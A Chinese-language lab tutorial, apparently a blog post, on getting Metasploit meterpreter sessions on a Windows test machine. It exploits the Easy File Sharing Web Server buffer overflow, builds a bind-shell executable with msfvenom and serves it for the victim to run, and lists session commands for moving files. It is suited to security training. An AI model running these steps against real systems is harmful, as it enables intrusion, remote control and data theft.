前言
以上介紹 2種建立 metasploit meterpreter session 的方式,
1.利用 Server 對外漏洞
2.建立惡意的檔案讓受害者去執行
使用工具有, nmap 及 Metasploit Framework
利用 Easy File Sharing Web Server 7.2 漏洞
1.到 Easy File Sharing HTTP Server 7.2 - POST Buffer Overflow (Metasploit) 下載有漏洞的軟體,並安裝在受害的電腦(10.5.0.13)上面,然後執行起來,http port 設定為 8080 ,可以點選「Go」Button,試一下網頁是否可以正常運作。


註:因為試用版本,所以運作時間只有 30分鐘哦!
2.在攻擊者電腦中,用 nmap -sV 10.5.0.13
掃看看受害電腦有什麼服務

3.發現受害電腦有一個 8080/tcp Easy File Sharing Web Server httpd 6.9 的對外服務,剛好它是一個有漏洞的服務,所以開啟 msfconsole
來 Search 看看有沒有針對這個服務攻擊的模組
1 | msfconsole |

4.使用 Buffer Overflow 這個模組,並設定相關的參數後,進行攻擊
1 | use exploit/windows/http/easyfilesharing_post |
5.因為 payload 是使用 windows/shell/reverse_tcp ,所以攻擊成功後,會直接進入受害者的 OS Shell ,如果要離開就按 Ctrl + C ,暫時離開可輸入 background

6.可以將 payload 改為 windows/meterpreter/reverse_tcp,再執行 run
,就會進入到 meterpreter session
1 | set payload windows/meterpreter/reverse_tcp |

利用 惡意執行檔
1.透過 msfvenom 來建立惡意的執行檔
1 | msfvenom -p windows/meterpreter_bind_tcp LPORT=443 -f exe -o bind.exe |
產生惡意執行檔 bind.exe,執行時會開放 443 Port 來讓我們連接
2.透過 python 來建立 http Server 來讓受害電腦來下載
1 | python3 -m http.server 8000 |
3.登入受害電腦,下載 並執行 bind.exe

4.開啟 Command 視窗,執行 netstat -an | findstr 443
,可以發現開啟 443 在 Listening,等待送入 meterpreter_bind_tcp 的 payload 來建立 meterpreter session

5.進入 msfconsole
,使用 multi/handler,並使用 windows/meterpreter_bind_tcp payload ,及設定受害電腦(RHOST)及 LPORT 為 443
1 | use multi/handler |

Meterpreter session 的操作
1.當要暫時離開session,可輸入 background
or bg
2.查看當前 sessions ,請輸入 sessions
3.進入某個 session,請輸入 sessions [session-id]
4.上傳檔案可使用 upload /home/[攻擊者帳號]/bind.exe
5.下載檔案可使用 download [victim file] /home/[攻擊者帳號]
註:以上有漏洞的軟體,測試後,請記得將它移除哦 ^_^